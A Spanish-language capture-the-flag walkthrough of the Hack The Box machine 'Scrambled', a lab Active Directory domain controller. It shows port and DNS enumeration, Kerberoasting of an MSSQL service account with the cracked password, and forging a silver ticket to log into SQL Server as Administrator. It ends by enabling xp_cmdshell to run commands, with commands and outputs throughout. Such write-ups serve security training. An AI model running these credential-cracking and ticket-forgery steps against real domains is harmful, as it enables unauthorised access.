Table of Contents
Hack The Box: Scrambled Writeup
Welcome to my detailed writeup of the medium difficulty machine “Scrambled” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1rustscan -a 10.129.108.148 --ulimit 5000 -g
210.129.108.148 -> [53,80,88,135,139,389,445,464,593,636,1433,3268,3269,4411,5985,9389,49667,49673,49674,49700,49701,49720]
1nmap -p53,80,88,135,139,389,445,464,593,636,1433,3268,3269,4411,5985,9389,49667,49673,49674,49700,49701,49720 -sCV 10.129.108.148 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-18 15:13 CET
3Stats: 0:00:06 elapsed; 0 hosts completed
4Nmap scan report for 10.129.108.148
5Host is up (0.038s latency).
6
7Bug in ms-sql-ntlm-info: no string output.
8PORT STATE SERVICE VERSION
953/tcp open domain Simple DNS Plus
1080/tcp open http Microsoft IIS httpd 10.0
11| http-methods:
12|_ Potentially risky methods: TRACE
13|_http-title: Scramble Corp Intranet
14|_http-server-header: Microsoft-IIS/10.0
1588/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-18 14:13:34Z)
16135/tcp open msrpc Microsoft Windows RPC
17139/tcp open netbios-ssn Microsoft Windows netbios-ssn
18389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
19| ssl-cert: Subject:
20| Subject Alternative Name: DNS:DC1.scrm.local
21| Not valid before: 2024-09-04T11:14:45
22|_Not valid after: 2121-06-08T22:39:53
23|_ssl-date: 2024-12-18T14:16:45+00:00; +1s from scanner time.
24445/tcp open microsoft-ds?
25464/tcp open kpasswd5?
26593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
27636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
28|_ssl-date: 2024-12-18T14:16:45+00:00; +1s from scanner time.
29| ssl-cert: Subject:
30| Subject Alternative Name: DNS:DC1.scrm.local
31| Not valid before: 2024-09-04T11:14:45
32|_Not valid after: 2121-06-08T22:39:53
331433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
34|_ssl-date: 2024-12-18T14:16:45+00:00; +1s from scanner time.
35| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
36| Not valid before: 2024-12-18T14:11:49
37|_Not valid after: 2054-12-18T14:11:49
38| ms-sql-info:
39| 10.129.108.148:1433:
40| Version:
41| name: Microsoft SQL Server 2019 RTM
42| number: 15.00.2000.00
43| Product: Microsoft SQL Server 2019
44| Service pack level: RTM
45| Post-SP patches applied: false
46|_ TCP port: 1433
473268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
48| ssl-cert: Subject:
49| Subject Alternative Name: DNS:DC1.scrm.local
50| Not valid before: 2024-09-04T11:14:45
51|_Not valid after: 2121-06-08T22:39:53
52|_ssl-date: 2024-12-18T14:16:45+00:00; +1s from scanner time.
533269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
54| ssl-cert: Subject:
55| Subject Alternative Name: DNS:DC1.scrm.local
56| Not valid before: 2024-09-04T11:14:45
57|_Not valid after: 2121-06-08T22:39:53
58|_ssl-date: 2024-12-18T14:16:45+00:00; +1s from scanner time.
594411/tcp open found?
60| fingerprint-strings:
61| DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
62| SCRAMBLECORP_ORDERS_V1.0.3;
63| FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions:
64| SCRAMBLECORP_ORDERS_V1.0.3;
65|_ ERROR_UNKNOWN_COMMAND;
665985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
67|_http-title: Not Found
68|_http-server-header: Microsoft-HTTPAPI/2.0
699389/tcp open mc-nmf .NET Message Framing
7049667/tcp open msrpc Microsoft Windows RPC
7149673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
7249674/tcp open msrpc Microsoft Windows RPC
7349700/tcp open msrpc Microsoft Windows RPC
7449701/tcp open msrpc Microsoft Windows RPC
7549720/tcp open msrpc Microsoft Windows RPC
761 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
77SF-Port4411-TCP:V=7.94SVN%I=7%D=12/18%Time=6762D88B%P=x86_64-pc-linux-gnu%
78SF:r(NULL,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(GenericLines,1D,"SCRAM
79SF:BLECORP_ORDERS_V1\.0\.3;\r\n")%r(GetRequest,35,"SCRAMBLECORP_ORDERS_V1\
80SF:.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(HTTPOptions,35,"SCRAMBLECORP_O
81SF:RDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RTSPRequest,35,"SCRAM
82SF:BLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RPCCheck,1D,
83SF:"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(DNSVersionBindReqTCP,1D,"SCRAMBL
84SF:ECORP_ORDERS_V1\.0\.3;\r\n")%r(DNSStatusRequestTCP,1D,"SCRAMBLECORP_ORD
85SF:ERS_V1\.0\.3;\r\n")%r(Help,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_U
86SF:NKNOWN_COMMAND;\r\n")%r(SSLSessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;
87SF:\r\n")%r(TerminalServerCookie,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r
88SF:(TLSSessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(Kerberos,1D,"S
89SF:CRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(SMBProgNeg,1D,"SCRAMBLECORP_ORDERS
90SF:_V1\.0\.3;\r\n")%r(X11Probe,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(F
91SF:ourOhFourRequest,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COM
92SF:MAND;\r\n")%r(LPDString,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKN
93SF:OWN_COMMAND;\r\n")%r(LDAPSearchReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\
94SF:n")%r(LDAPBindReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(SIPOptions,
95SF:35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(LAN
96SF:Desk-RC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(TerminalServer,1D,"SC
97SF:RAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(NCP,1D,"SCRAMBLECORP_ORDERS_V1\.0\.
98SF:3;\r\n")%r(NotesRPC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(JavaRMI,1
99SF:D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(WMSRequest,1D,"SCRAMBLECORP_OR
100SF:DERS_V1\.0\.3;\r\n")%r(oracle-tns,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n
101SF:")%r(ms-sql-s,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(afp,1D,"SCRAMBL
102SF:ECORP_ORDERS_V1\.0\.3;\r\n")%r(giop,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r
103SF:\n");
104Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows
105
106Host script results:
107| smb2-security-mode:
108| 3:1:1:
109|_ Message signing enabled and required
110| smb2-time:
111| date: 2024-12-18T14:16:09
112|_ start_date: N/A
113
114Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
115Nmap done: 1 IP address (1 host up) scanned in 201.21 seconds
UDP Enumeration
1sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.108.148 -oN allPorts.UDP
2[sudo] password for kali:
3Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-18 15:14 CET
4Nmap scan report for 10.129.108.148
5Host is up (0.043s latency).
6Not shown: 1498 open|filtered udp ports (no-response)
7PORT STATE SERVICE
888/udp open kerberos-sec
9123/udp open ntp
10
11Nmap done: 1 IP address (1 host up) scanned in 0.86 seconds
Del escaneo inicial encontramos el dominio scrm.local
, lo añadimos al /etc/hosts
También vemos seguramente lo que es el controlador de dominio, DC1.scrm.local
, lo añadimos al /etc/hosts
También vemos dos cosas interesantes, está expuesto el puerto 1433 que corresponde a un MSSQL, y vemos el puerto 4411 que corresponde a un servicio desconocido.
DNS Enumeration
Vamos a enumerar el servicio DNS para intentar encontrar otros subdominios, podemos consultar los registros con dig
pero no vemos nada que no sepamos.
1dig A scrm.local @10.129.108.148
2
3; <<>> DiG 9.19.19-1-Debian <<>> A scrm.local @10.129.108.148
4;; global options: +cmd
5;; Got answer:
6;; WARNING: .local is reserved for Multicast DNS
7;; You are currently testing what happens when an mDNS query is leaked to DNS
8;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 62846
9;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
10
11;; OPT PSEUDOSECTION:
12; EDNS: version: 0, flags:; udp: 4000
13;; QUESTION SECTION:
14;scrm.local. IN A
15
16;; ANSWER SECTION:
17scrm.local. 600 IN A 10.129.108.148
18
19;; Query time: 36 msec
20;; SERVER: 10.129.108.148#53(10.129.108.148) (UDP)
21;; WHEN: Wed Dec 18 15:20:55 CET 2024
22;; MSG SIZE rcvd: 55
1dig NS scrm.local @10.129.108.148
2
3; <<>> DiG 9.19.19-1-Debian <<>> NS scrm.local @10.129.108.148
4;; global options: +cmd
5;; Got answer:
6;; WARNING: .local is reserved for Multicast DNS
7;; You are currently testing what happens when an mDNS query is leaked to DNS
8;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 54633
9;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 3
10
11;; OPT PSEUDOSECTION:
12; EDNS: version: 0, flags:; udp: 4000
13;; QUESTION SECTION:
14;scrm.local. IN NS
15
16;; ANSWER SECTION:
17scrm.local. 3600 IN NS dc1.scrm.local.
18
19;; ADDITIONAL SECTION:
20dc1.scrm.local. 1200 IN A 10.129.108.148
21dc1.scrm.local. 1200 IN AAAA dead:beef::f823:3fa4:9f87:619d
22
23;; Query time: 40 msec
24;; SERVER: 10.129.108.148#53(10.129.108.148) (UDP)
25;; WHEN: Wed Dec 18 15:20:58 CET 2024
26;; MSG SIZE rcvd: 101
También podemos intentar una transferencia de zona pero no podemos.
1dig axfr scrm.local @10.129.108.148
2
3; <<>> DiG 9.19.19-1-Debian <<>> axfr scrm.local @10.129.108.148
4;; global options: +cmd
5; Transfer failed.
Podemos intentar hacer fuerza bruta de subdominios a ver si encontramos algún registro que no hayamos podido ver en un principio pero no vemos nada nuevo.
1dnsenum --dnsserver 10.129.108.148 scrm.local -f /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
2dnsenum VERSION:1.2.6
3
4----- scrm.local -----
5
6
7Host's addresses:
8__________________
9
10scrm.local. 600 IN A 10.129.108.148
11
12
13Name Servers:
14______________
15
16dc1.scrm.local. 1200 IN A 10.129.108.148
17
18
19Mail (MX) Servers:
20___________________
21
22
23
24Trying Zone Transfers and getting Bind Versions:
25_________________________________________________
26
27unresolvable name: dc1.scrm.local at /usr/bin/dnsenum line 897.
28
29Trying Zone Transfer for scrm.local on dc1.scrm.local ...
30AXFR record query failed: no nameservers
31
32
33Brute forcing with /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt:
34__________________________________________________________________________________________________
HTTP Enumeration
Vamos a enumerar el servicio web, whatweb
no nos reporta nada interesante, pero podemos ver que se está utilizando un IIS por detrás.
1whatweb http://scrm.local
2http://scrm.local [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.129.108.148], JQuery, Microsoft-IIS[10.0], Script, Title[Scramble Corp Intranet]
Así se ve el sitio web.
Some Interesting Information
En el recurso /support.html
encontramos un mensaje bastante interesante.
04/09/2021: Due to the security breach last month we have now disabled all NTLM authentication on our network. This may cause problems for some of the programs you use so please be patient while we work to resolve any issues
Esto significa que la organización quiere utilizar métodos más seguros de autenticación, probablemente Kerberos, así que habrá que jugar mucho con tickets en esta máquina.
En el recurso /supportrequest.html
encontramos una captura de pantalla que reporta un nombre de usuario, ksimpson
En el recurso newuser.html
encontramos un formulario que no tiene destino, así que lo podemos ignorar.
Otra cosa interesante que encontramos en el sitio web, es el recurso /salesorders.html
, podemos ver una aplicación personalizada donde vemos que se utiliza el puerto 4411 que es el que no sabíamos a que pertenecía en el escaneo de nmap
También vemos que hay una opción en el programa llamada Enable Debug Logging
el cual según la descripción, crearía un archivo ScrambleDebugLog
en el mismo directorio donde hemos lanzado la aplicación de ventas.
Insecure password without NTLM auth
Lo único que tenemos es el usuario ksimpson
, me gustaría probar primero si este usuario es válido a nivel de dominio, para ello podemos utilizar kerbrute
1/usr/share/kerbrute userenum --dc 10.129.108.148 -d scrm.local users.txt
2
3 __ __ __
4 / /_____ _____/ /_ _______ __/ /____
5 / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
6 / ,< / __/ / / /_/ / / / /_/ / /_/ __/
7/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
8
9Version: v1.0.3 (9dad6e1) - 12/18/24 - Ronnie Flathers @ropnop
10
112024/12/18 15:34:27 > Using KDC(s):
122024/12/18 15:34:27 > 10.129.108.148:88
13
142024/12/18 15:34:27 > [+] VALID USERNAME: ksimpson@scrm.local
152024/12/18 15:34:27 > Done! Tested 1 usernames (1 valid) in 0.042 seconds
Eso es bueno, ya que podemos probar a ver si este usuario tiene el atributo UF_DONT_REQUIRE_PREAUTH
activado (no).
Pero también podemos intentar recorrer el rockyou.txt
con kerbrute
, después de un rato no encontramos nada.
1/usr/share/kerbrute bruteuser --dc 10.129.108.148 -d scrm.local /usr/share/wordlists/rockyou.txt ksimpson
2
3 __ __ __
4 / /_____ _____/ /_ _______ __/ /____
5 / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
6 / ,< / __/ / / /_/ / / / /_/ / /_/ __/
7/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
8
9Version: v1.0.3 (9dad6e1) - 12/18/24 - Ronnie Flathers @ropnop
10
112024/12/18 15:35:28 > Using KDC(s):
122024/12/18 15:35:28 > 10.129.108.148:88
Si intentamos el mismo usuario como contraseña vemos que es un combo válido.
1/usr/share/kerbrute bruteuser --dc 10.129.108.148 -d scrm.local users.txt ksimpson
2
3 __ __ __
4 / /_____ _____/ /_ _______ __/ /____
5 / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
6 / ,< / __/ / / /_/ / / / /_/ / /_/ __/
7/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
8
9Version: v1.0.3 (9dad6e1) - 12/18/24 - Ronnie Flathers @ropnop
10
112024/12/18 15:35:40 > Using KDC(s):
122024/12/18 15:35:40 > 10.129.108.148:88
13
142024/12/18 15:35:40 > [+] VALID LOGIN: ksimpson@scrm.local:ksimpson
152024/12/18 15:35:40 > Done! Tested 1 logins (1 successes) in 0.162 seconds
SMB Enumeration without NTLM
No podemos enumerar el SMB utilizando smbmap
ya que la autenticación debe de ser mediante Kerberos, aunque creo que si que admite autenticación por Kerberos pero esta vez vamos a optar por una forma alternativa mas rápida.
1smbmap -H 10.129.108.148 -u ksimpson -p ksimpson
2
3 ________ ___ ___ _______ ___ ___ __ _______
4 /" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
5 (: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
6 \___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
7 __/ \ |: \. |(| _ \ |: \. | // __' \ (| /
8 /" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
9 (_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
10 -----------------------------------------------------------------------------
11 SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
12 https://github.com/ShawnDEvans/smbmap
13
14[*] Detected 1 hosts serving SMB
15[*] Established 0 SMB session(s)
smbmap
por ejemplo, debería de soportar la autenticación por Kerberos, pero supongo que debería solicitar el ticket TGT y exportarlo al KRB5CCNAME
, pero para ello podemos utilizar la herramienta impacket-smbclient
especificando el parámetro -k
para habilitar la autenticación por Kerberos.
1impacket-smbclient scrm.local/ksimpson:ksimpson@DC1.scrm.local -k
2Impacket v0.12.0.dev1+20240711.104209.512a1db5 - Copyright 2023 Fortra
3
4[-] CCache file is not found. Skipping...
5Type help for list of commands
6# shares
7ADMIN$
8C$
9HR
10IPC$
11IT
12NETLOGON
13Public
14Sales
15SYSVOL
Vemos varios recursos interesantes, pero para la mayoría no tenemos acceso.
1# use HR
2[-] SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
3# use IT
4[-] SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
5# use Sales
6[-] SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
Sin embargo en el recurso Public
vemos un PDF
1# ls
2drw-rw-rw- 0 Thu Nov 4 23:23:19 2021 .
3drw-rw-rw- 0 Thu Nov 4 23:23:19 2021 ..
4-rw-rw-rw- 630106 Fri Nov 5 18:45:07 2021 Network Security Changes.pdf
Nos podemos descargar este documento.
1# get Network Security Changes.pdf
Voy a renombrar el documento para quitar los espacios.
1mv Network\ Security\ Changes.pdf doc.pdf
No vemos ningún metadato interesante.
1exiftool doc.pdf
2ExifTool Version Number : 12.76
3File Name : doc.pdf
4Directory : .
5File Size : 630 kB
6File Modification Date/Time : 2024:12:18 15:50:55+01:00
7File Access Date/Time : 2024:12:18 15:51:29+01:00
8File Inode Change Date/Time : 2024:12:18 15:51:12+01:00
9File Permissions : -rw-r--r--
10File Type : PDF
11File Type Extension : pdf
12MIME Type : application/pdf
13PDF Version : 1.5
14Linearized : No
15Page Count : 1
16Language : en-GB
17Tagged PDF : Yes
18Producer : Microsoft® Word 2010
19Creator : Microsoft® Word 2010
20Create Date : 2021:11:04 22:20:49+00:00
21Modify Date : 2021:11:04 22:20:49+00:00
Vamos a servir este documento por el puerto 8081 y así podemos visualizarlo cómodamente desde el navegador.
1python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
Kerberoasting
En resumen han habido algunos cambios, primero se ha deshabilitado la autenticación NTLM y ahora se utiliza Kerberos para acceder a los recursos. Y el segundo cambio fue que se eliminó acceso al MSSQL excepto para los administradores de red.
Sabiendo que está el servicio de MSSQL, algo que debería de haber probado es el kerberoasting
que además es totalmente compatible con que la autenticación NTLM esté desactivada.
Con impacket-GetUserSPNs
vemos dos SPN’s para el servicio de MSSQL.
1impacket-GetUserSPNs scrm.local/ksimpson:ksimpson -k -dc-host DC1.scrm.local
2Impacket v0.12.0.dev1+20240711.104209.512a1db5 - Copyright 2023 Fortra
3
4[-] CCache file is not found. Skipping...
5[-] CCache file is not found. Skipping...
6ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
7---------------------------- ------ -------- -------------------------- -------------------------- ----------
8MSSQLSvc/dc1.scrm.local:1433 sqlsvc 2021-11-03 17:32:02.351452 2024-12-18 15:11:46.512900
9MSSQLSvc/dc1.scrm.local sqlsvc 2021-11-03 17:32:02.351452 2024-12-18 15:11:46.512900
Ahora con el parámetro -request
podemos solicitar el TGS e intentar crackear el hash de forma offline.
Podemos intentar crackear el hash con john
y conseguimos una credencial.
1john -w=/usr/share/wordlists/rockyou.txt hash
2Using default input encoding: UTF-8
3Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
4Will run 4 OpenMP threads
5Press 'q' or Ctrl-C to abort, almost any other key for status
6Pegasus60 (?)
71g 0:00:00:06 DONE (2024-12-18 15:58) 0.1587g/s 1703Kp/s 1703Kc/s 1703KC/s Penrose..Pearce
8Use the "--show" option to display all of the cracked passwords reliably
9Session completed.
Silver Ticket Attack
Una pista interesante que nos han dado en el PDF es la sección de que solo pueden acceder al servidor MSSQL los administradores del dominio, y nosotros teniendo la credencial de la cuenta de usuario que alberga este servicio podemos hacer un ataque Silver Ticket para que el servicio de MSSQL se piense que somos administradores del dominio.
Según esta entrada en thehacker.recipes, necesitamos saber varias cosas para poder hacer este ataque.
- El hash NT del usuario
- El SID del dominio
- El dominio
- El SPN
- El nombre de usuario
Obtaining Domain SID
Para esto, primero necesitamos saber el SID del dominio, para esto se suele utilizar impacket-lookupsid
pero se utiliza autenticación NTLM, por lo cual tenemos que buscar una herramienta alternativa, podríamos hacer una consulta LDAP para consultar el SID del dominio como se muestra en esta pregunta de serverfault
Pero bien, si intentamos hacer una consulta con ldapsearch
nos reporta que las credenciales no son válidas ya que se utiliza NTLM.
1ldapsearch -LLL -H ldap://DC1.scrm.local:389 -b dc=scrm,dc=local -D scrm.local\ksimpson -w ksimpson "(sAMAccountName=ksimpson)" | grep -i "objectSid::" | cut -d ":" -f3 | xargs
2ldap_bind: Invalid credentials (49)
3 additional info: 80090308: LdapErr: DSID-0C090439, comment: AcceptSecurityContext error, data 52e, v4563
Configuring /etc/krb5.conf
to use ldapsearch
with GSSAPI
Según esta otra pregunta de serverfault, podemos autenticarnos por Kerberos con ldapsearch
, primero tenemos que instalar el paquete libsasl2-modules-gssapi-mit
con:
1sudo apt install libsasl2-modules-gssapi-mit
Ahora, tenemos que utilizar kinit
para autenticar a un usuario y obtener el TGT, y así mediante el parámetro -Y GSSAPI
de ldapsearch
autenticarnos con Kerberos.
Primero tenemos que añadir el Realm SCRM.local
al archivo /etc/krb5.conf
ya que obviamente, no tenemos creado el Realm.
1kinit ksimpson@scrm.local
2kinit: Cannot find KDC for realm "scrm.local" while getting initial credentials
Así ha quedado el archivo /etc/krb5.conf
[libdefaults]
default_realm = SCRM.LOCAL
[realms]
SCRM.LOCAL = {
kdc = 10.129.108.148
}
[domain_realm]
DC1.SCRM.LOCAL = SCRM.LOCAL
Ahora podemos solicitar el TGT como ksimpson
1kinit ksimpson
2Password for ksimpson@SCRM.LOCAL:
Lo podemos comprobar con klist
1klist
2Ticket cache: FILE:/tmp/krb5cc_1000
3Default principal: ksimpson@SCRM.LOCAL
4
5Valid starting Expires Service principal
612/18/2024 16:22:00 12/19/2024 02:22:00 krbtgt/SCRM.LOCAL@SCRM.LOCAL
7 renew until 12/19/2024 16:21:58
Converting ObjectSid to Domain SID
Ahora si que podemos recuperar el objectSid
haciendo la consulta por LDAP.
1ldapsearch -LLL -Y GSSAPI -H ldap://DC1.scrm.local:389 -b dc=scrm,dc=local -D scrm.local\ksimpson -w ksimpson "(sAMAccountName=ksimpson)" | grep -i "objectSid::" | cut -d ":" -f3 | xargs
2SASL/GSSAPI authentication started
3SASL username: ksimpson@SCRM.LOCAL
4SASL SSF: 256
5SASL data security layer installed.
6AQUAAAAAAAUVAAAAhQSCo0F98mxA04uXUwYAAA==
Ahora con este script de bash podemos construir el SID a partir del ObjectSid que tenemos.
1#!/bin/bash
2
3# Base-64 encoded objectSid
4OBJECT_ID="AQUAAAAAAAUVAAAAhQSCo0F98mxA04uXUwYAAA=="
5
6# Decode it, hex-dump it and store it in an array
7G=($(echo -n $OBJECT_ID | base64 -d -i | hexdump -v -e '1/1 " %02X"'))
8
9# SID in HEX
10# SID_HEX=${G[0]}-${G[1]}-${G[2]}${G[3]}${G[4]}${G[5]}${G[6]}${G[7]}-${G[8]}${G[9]}${G[10]}${G[11]}-${G[12]}${G[13]}${G[14]}${G[15]}-${G[16]}${G[17]}${G[18]}${G[19]}-${G[20]}${G[21]}${G[22]}${G[23]}-${G[24]}${G[25]}${G[26]}${G[27]}${G[28]}
11
12# SID Structure: https://technet.microsoft.com/en-us/library/cc962011.aspx
13# LESA = Little Endian Sub Authority
14# BESA = Big Endian Sub Authority
15# LERID = Little Endian Relative ID
16# BERID = Big Endian Relative ID
17
18BESA2=${G[8]}${G[9]}${G[10]}${G[11]}
19BESA3=${G[12]}${G[13]}${G[14]}${G[15]}
20BESA4=${G[16]}${G[17]}${G[18]}${G[19]}
21BESA5=${G[20]}${G[21]}${G[22]}${G[23]}
22BERID=${G[24]}${G[25]}${G[26]}${G[27]}${G[28]}
23
24LESA1=${G[2]}${G[3]}${G[4]}${G[5]}${G[6]}${G[7]}
25LESA2=${BESA2:6:2}${BESA2:4:2}${BESA2:2:2}${BESA2:0:2}
26LESA3=${BESA3:6:2}${BESA3:4:2}${BESA3:2:2}${BESA3:0:2}
27LESA4=${BESA4:6:2}${BESA4:4:2}${BESA4:2:2}${BESA4:0:2}
28LESA5=${BESA5:6:2}${BESA5:4:2}${BESA5:2:2}${BESA5:0:2}
29LERID=${BERID:6:2}${BERID:4:2}${BERID:2:2}${BERID:0:2}
30
31LE_SID_HEX=${LESA1}-${LESA2}-${LESA3}-${LESA4}-${LESA5}-${LERID}
32
33# Initial SID value which is used to construct actual SID
34SID="S-1"
35
36# Convert LE_SID_HEX to decimal values and append it to SID as a string
37IFS='-' read -ra ADDR <<< "${LE_SID_HEX}"
38for OBJECT in "${ADDR[@]}"; do
39 SID=${SID}-$((16#${OBJECT}))
40done
41
42echo ${SID}
Y ahora ejecutando el script, conseguimos el SID, eso sí, hay que borrar la última parte ya que pertenece al RID.
1./sid.sh
2S-1-5-21-2743207045-1827831105-2542523200-1619
Credential to NTLM Hash
Ahora necesitamos saber el hash NT:LM de la contraseña que tenemos, para ello podemos utilizar python.
1>>> import hashlib,binascii
2>>> hash = hashlib.new('md4', "Pegasus60".encode('utf-16le')).digest()
3>>> print(binascii.hexlify(hash))
4b'b999a16500b87d17ec7f2e2a68778f05'
Creating the Silver Ticket & Accessing the MSSQL Instance
Entonces, ya tenemos lo necesario.
- SID: S-1-5-21-2743207045-1827831105-2542523200
- Dominio: scrm.local
- SPN: MSSQLSvc/dc1.scrm.local
- Username: sqlsvc
- Hash NT: b999a16500b87d17ec7f2e2a68778f05
Ahora con ticketer.py
podemos generar un Silver Ticket como el usuario Administrator
.
1ticketer.py -nthash "b999a16500b87d17ec7f2e2a68778f05" -domain-sid "S-1-5-21-2743207045-1827831105-2542523200" -domain scrm.local -spn "MSSQLSvc/dc1.scrm.local" "Administrator"
2Impacket v0.12.0.dev1+20240711.104209.512a1db5 - Copyright 2023 Fortra
3
4[*] Creating basic skeleton ticket and PAC Infos
5[*] Customizing ticket for scrm.local/Administrator
6[*] PAC_LOGON_INFO
7[*] PAC_CLIENT_INFO_TYPE
8[*] EncTicketPart
9[*] EncTGSRepPart
10[*] Signing/Encrypting final ticket
11[*] PAC_SERVER_CHECKSUM
12[*] PAC_PRIVSVR_CHECKSUM
13[*] EncTicketPart
14[*] EncTGSRepPart
15[*] Saving ticket in Administrator.ccache
Exportamos la variable de entorno necesaria para poder autenticarnos con Kerberos.
1export KRB5CCNAME=$(pwd)/Administrator.ccache
Ahora si utilizamos klist
podemos ver nuestro ticket y comprobar el principal.
1klist
2Ticket cache: FILE:/home/kali/Desktop/scrambled/content/Administrator.ccache
3Default principal: Administrator@SCRM.LOCAL
4
5Valid starting Expires Service principal
612/18/2024 16:55:28 12/16/2034 16:55:28 MSSQLSvc/dc1.scrm.local@SCRM.LOCAL
7 renew until 12/16/2034 16:55:28
Ahora con impacket-mssqlclient.py
podemos iniciar sesión en el MSSQL perfectamente.
1mssqlclient.py -k dc1.scrm.local
2Impacket v0.12.0.dev1+20240711.104209.512a1db5 - Copyright 2023 Fortra
3
4[*] Encryption required, switching to TLS
5[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
6[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
7[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
8[*] INFO(DC1): Line 1: Changed database context to 'master'.
9[*] INFO(DC1): Line 1: Changed language setting to us_english.
10[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
11[!] Press help for extra shell commands
12SQL (SCRM\administrator dbo@master)>
Information Disclosure
En este punto, ya podemos ejecutar comandos de forma remota utilizando la función xp_cmdshell
1SQL (SCRM\administrator dbo@master)> enable_xp_cmdshell
2[*] INFO(DC1): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
3[*] INFO(DC1): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
4SQL (SCRM\administrator dbo@master)> RECONFIGURE
5SQL (SCRM\administrator dbo@master)> xp_cmdshell whoami
6output
7-----------
8scrm\sqlsvc
Aunque antes de ganar acceso, enumerando la base de datos vemos una interesante llamada ScrambleHR
1SQL (SCRM\administrator dbo@master)> enum_db
2name is_trustworthy_on
3---------- -----------------
4master 0
5
6tempdb 0
7
8model 0
9
10msdb 1
11
12ScrambleHR 0
